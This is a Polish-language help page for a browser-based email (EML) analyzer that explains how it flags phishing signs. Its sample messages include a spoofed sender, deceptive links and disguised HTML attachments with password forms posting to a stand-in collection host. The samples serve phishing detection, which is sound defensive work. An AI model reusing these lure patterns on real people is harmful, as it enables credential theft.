E-mail

Analizator EML

Działa lokalnieNowe

Samo narzędzie jest w języku angielskim; na tej stronie znajdziesz wyjaśnienia w Twoim języku.

Użyj Analizator EML

Jak to działa

Przeciągnij plik .eml lub wklej treść wiadomości, aby sprawdzić nagłówki nadawcy, łańcuch „Received”, linki i załączniki. Wszystko działa w przeglądarce.

Działa całkowicie w przeglądarce: żadne wprowadzone dane nie są przesyłane.

Jak korzystać z Analizator EML

  1. Pobierz surową wiadomość. Zapisz wiadomość e-mail w formacie .eml lub skopiuj jej kod źródłowy: w Gmailu wybierz opcję „Pokaż oryginał”, w Outlooku – „Wyświetl kod źródłowy wiadomości”, a w Thunderbirdzie lub Apple Mail – „Wyświetl kod źródłowy”. Pliki .msg programu Outlook nie są odczytywane.
  2. Załaduj to. Przeciągnij plik .eml do pola lub wybierz go (maks. 50 MB) albo wklej treść do pola tekstowego (maks. 5 MB) i naciśnij przycisk „Analizuj”.
  3. Przeczytaj streszczenie. Wyniki są posortowane według kategorii: sygnały ostrzegawcze, ostrzeżenia, uwagi i pozytywne wyniki kontroli. Każdy wiersz zawiera nazwę nagłówka, linku lub załącznika, z którego pochodzi.
  4. Sprawdź szczegóły. Pod podsumowaniem znajdują się nagłówki nadawcy, domeny porównane z domeną „From”, wyniki uwierzytelniania, łańcuch „Received”, wszystkie linki oraz wszystkie załączniki.
  5. Sprawdź wskaźniki. Zaznacz potrzebne typy wskaźników, a następnie skopiuj je w postaci surowej lub po usunięciu danych wrażliwych, pobierz je jako plik .txt lub skorzystaj z opcji „Wyślij do”.

Przykład

Starannie przygotowana wiadomość phishingowa

Dane wejściowe
Return-Path: <bounce@mailer.example>
Received: from mx.example.org (localhost [127.0.0.1])
	by mx.example.org (Postfix) with ESMTP id 4QxYz1; Mon, 19 Oct 2026 09:15:07 +0000
Authentication-Results: mx.example.org; spf=softfail smtp.mailfrom=bounce@mailer.example;
	dkim=pass header.d=mailer.example header.s=s1; dmarc=fail header.from=account-check.example
Received: from smtp.mailer.example (smtp.mailer.example [203.0.113.45])
	by mx.example.org (Postfix) with ESMTPS id 4QxYz1; Mon, 19 Oct 2026 09:15:05 +0000
Received: from [192.168.10.20] (unknown [198.51.100.23])
	by smtp.mailer.example (Postfix) with ESMTPSA id 9A8B7C; Mon, 19 Oct 2026 09:14:58 +0000
DKIM-Signature: v=1; a=rsa-sha256; d=mailer.example; s=s1; h=from:to:subject; bh=AAAA; b=BBBB
From: "support@example.com" <alerts@account-check.example>
Reply-To: billing@example.net
To: user@example.org
Subject: Action required: verify your account
Date: Mon, 19 Oct 2026 09:14:57 +0000
Message-ID: <4471@mailer.example>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b1"

--b1
Content-Type: text/html; charset=utf-8

<p>Your account will be suspended. Verify it here:
<a href="https://login.example.net/verify">https://www.example.com/account</a></p>
--b1
Content-Type: text/html; name="invoice.pdf.html"
Content-Disposition: attachment; filename="invoice.pdf.html"
Content-Transfer-Encoding: base64

PGZvcm0gYWN0aW9uPSJodHRwczovL2NvbGxlY3QuZXhhbXBsZS5uZXQvcG9zdCI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj48L2Zvcm0+
--b1--
Wynik (zarejestrowany 2026-10-20)
pasted source · 1.5 KB · 3 MIME parts · nothing left this browser

Summary
6 danger signs
Display name shows support[@]example[.]com but the real sender address is alerts[@]account-check[.]example
DMARC fail (reported by mx[.]example[.]org): the From domain did not authenticate this message
attachment invoice.pdf.html contains a form with a password field
Link text shows www[.]example[.]com but the link goes to login[.]example[.]net
Attachment "invoice.pdf.html": double extension: looks like .pdf but is .html
Attachment "invoice.pdf.html": .html opens in a browser: a common way to deliver fake login pages
2 warnings
Replies go to billing[@]example[.]net, a different domain than the sender (account-check[.]example)
SPF softfail (reported by mx[.]example[.]org) for bounce[@]mailer[.]example
2 notes
Return-Path domain mailer[.]example differs from the From domain: SPF does not cover account-check[.]example (normal for bulk-mail services)
No DKIM signature from account-check[.]example (signed by mailer[.]example): DKIM is not aligned
Sender and key headers
FROM	support[@]example[.]com <alerts[@]account-check[.]example>
REPLY-TO	<billing[@]example[.]net>
RETURN-PATH	<bounce[@]mailer[.]example>
TO	<user[@]example[.]org>
SUBJECT	Action required: verify your account
DATE	Mon, 19 Oct 2026 09:14:57 +0000 (2026-10-19 09:14:57 UTC)
MESSAGE-ID	<4471[@]mailer[.]example>
Domains compared with the From domain

From domain: account-check[.]example. DMARC passes only when SPF (Return-Path) or DKIM (d=) is from the same organization.

HEADER	DOMAIN	COMPARED WITH FROM
Reply-To	example[.]net
…

Nazwa wyświetlana podszywająca się pod support@example.com, pola „Reply-To” i DKIM w innych domenach, błąd DMARC, link, którego tekst wskazuje na www.example.com, ale prowadzi do login.example.net, oraz załącznik „invoice.pdf.html” zawierający formularz do podania hasła.

Co jest sprawdzane

SygnałCo to oznacza
Wyświetl nazwę wraz z adresem e-mailNiebezpieczeństwo pojawia się, gdy nazwa wskazuje jeden adres, a rzeczywisty nadawca ma inny. Aplikacje pocztowe często wyświetlają tylko nazwę.
Adres zwrotny w innej domenieUwaga: Twoja odpowiedź trafi do innej organizacji niż nadawca.
Wyniki uwierzytelnianiaBłąd DMARC i błąd SPF to sygnały ostrzegawcze; wynik „softfail” SPF oraz błąd DKIM to ostrzeżenia. Liczy się wyłącznie wynik podany przez Twojego dostawcę usług.
Domeny Return-Path i DKIM d=Zostaje to odnotowane, gdy różnią się one od domeny „From”. Jest to normalne w przypadku usług wysyłki masowej, ale protokół DMARC wymaga, aby jedna z nich była zgodna.
Otrzymany łańcuchSkoki są wyświetlane w kolejności od najstarszego do najnowszego, z uwzględnieniem opóźnień. Oznaczane są te, których sygnatura czasowa jest wcześniejsza niż poprzedniego skoku, opóźnienie przekracza godzinę lub odwrotny DNS nosi oznaczenie „może być sfałszowany”.
Tekst linku i miejsce doceloweNiebezpieczeństwo występuje, gdy widoczny tekst wskazuje jedną domenę, a link prowadzi do innej, lub gdy tekst przed znakiem @ ukrywa rzeczywisty adres hosta. Oznaczane są również same adresy IP, adresy w formacie Punycode, skróty linków oraz linki zawarte w tagach.
ZałącznikiZostają oznaczone pliki z podwójnymi rozszerzeniami, pliki uruchamiające kod lub otwierające się w przeglądarce, treści niezgodne z rozszerzeniem oraz sztuczki polegające na zastąpieniu kierunku od prawej do lewej. Każdy plik otrzymuje skróty SHA-256, SHA-1 i MD5.
Formularze i skrypty w HTMLFormularz zawierający pole na hasło w treści lub załącznik stanowi sygnał ostrzegawczy. Kod skryptowy w załączniku to sygnał ostrzegawczy.

Więcej przykładów

Link, który ukrywa adres IP

Dane wejściowe
From: IT Desk <it@example.com>
To: you@example.org
Subject: Mailbox full
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <b2@example.com>
Content-Type: text/html

<p>Your mailbox is full. <a href="https://www.example.com@203.0.113.7/login">Upgrade storage</a></p>
Wynik

1 sygnał ostrzegawczy: „1 link: tekst przed znakiem »@« jest ignorowany: rzeczywisty host to 203.0.113.7” oraz 1 ostrzeżenie: „1 link: link prowadzi do samego adresu IP”. W tabeli „Linki” obok tekstu „Rozbudowa pamięci masowej” widnieje ten adres w postaci unieszkodliwionej.

Strona HTML udająca plik PDF

Dane wejściowe
From: Accounts <billing@example.com>
To: you@example.org
Subject: Invoice
Date: Tue, 20 Oct 2026 08:00:00 +0000
Message-ID: <c3@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="b"

--b
Content-Type: text/plain

Invoice attached.
--b
Content-Type: application/pdf; name="invoice.pdf"
Content-Disposition: attachment; filename="invoice.pdf"

<!DOCTYPE html><html><body><form action="https://collect.example.net/p"><input type="password" name="p"></form></body></html>
--b--
Wynik

2 sygnały ostrzegawcze: załącznik „invoice.pdf” „zawiera formularz z polem na hasło”, a jego „treść to dokument HTML, a nie plik .pdf”. Karta załącznika pokazuje: Treść: dokument HTML oraz trzy skróty; w tabeli „Linki” wymieniono adres docelowy formularza z adnotacją „formularz wysyła dane na ten adres”.

Najczęściej zadawane pytania

Co sprawdza narzędzie EML Analyzer?

Dekoduje nagłówki i każdą część MIME, porównuje domeny z pól „From”, „Reply-To”, „Return-Path”, „DKIM d=” oraz „Message-ID”, a także odczytuje pole „Authentication-Results”. Wyświetla również listę przekaźników z polami „Received” wraz z opóźnieniami, wszystkie linki wraz z widocznym tekstem oraz skróty SHA-256, SHA-1 i MD5 każdego załącznika.

Czy może potwierdzić, że dana wiadomość e-mail stanowi próbę wyłudzenia danych, czy też jest bezpieczna?

Nie. Przedstawia to fakty i sygnały ostrzegawcze, a nie ostateczną ocenę: legalna poczta masowa często ma inną ścieżkę zwrotną (Return-Path) lub domenę DKIM, a podpisy DKIM są wyświetlane, ale nie są weryfikowane kryptograficznie. Pliki .msg programu Outlook nie są obsługiwane; najpierw zapisz wiadomość w formacie .eml.

Czy ten e-mail został gdzieś przesłany?

Nie. Plik jest odczytywany i analizowany w przeglądarce, kod HTML jest wyświetlany jako tekst i nigdy nie jest renderowany, a żadne dane nie są przesyłane przez sieć. Przycisk „Wyślij do” przekazuje wynik do strony innego narzędzia za pośrednictwem pamięci sesji przeglądarki.

Której nagłówkowej wartości „Authentication-Results” ufa?

Ten dodany przez Twój własny system pocztowy, rozpoznany na podstawie łańcucha pól „Received” i oznaczony jako „dodany przez serwer odbiorcy”. Nagłówki znajdujące się niżej w treści wiadomości mogą być zapisane przez nadawcę, dlatego strona zaleca, aby ufać wyłącznie wynikowi podanemu przez Twojego dostawcę usług.

Czy można otworzyć wiadomość e-mail załączoną do innej wiadomości e-mail?

Tak. Załączona wiadomość jest wyświetlana wraz z jej skrótami oraz przyciskiem „Przeanalizuj załączoną wiadomość”, który otwiera ją w tym samym widoku. Przycisk „Powrót do wiadomości nadrzędnej” pozwala wrócić do poprzedniej wiadomości.

Dlaczego w wskaźnikach brakuje niektórych adresów IP?

Adresy prywatne i lokalne oraz przeskoki w ramach systemu pocztowego samego odbiorcy są pomijane, ponieważ nie wskazują one na serwery nadawcy. Adresy e-mail odbiorców również nigdy nie są uwzględniane.

Objaśnienie terminów

Badania PhishDestroy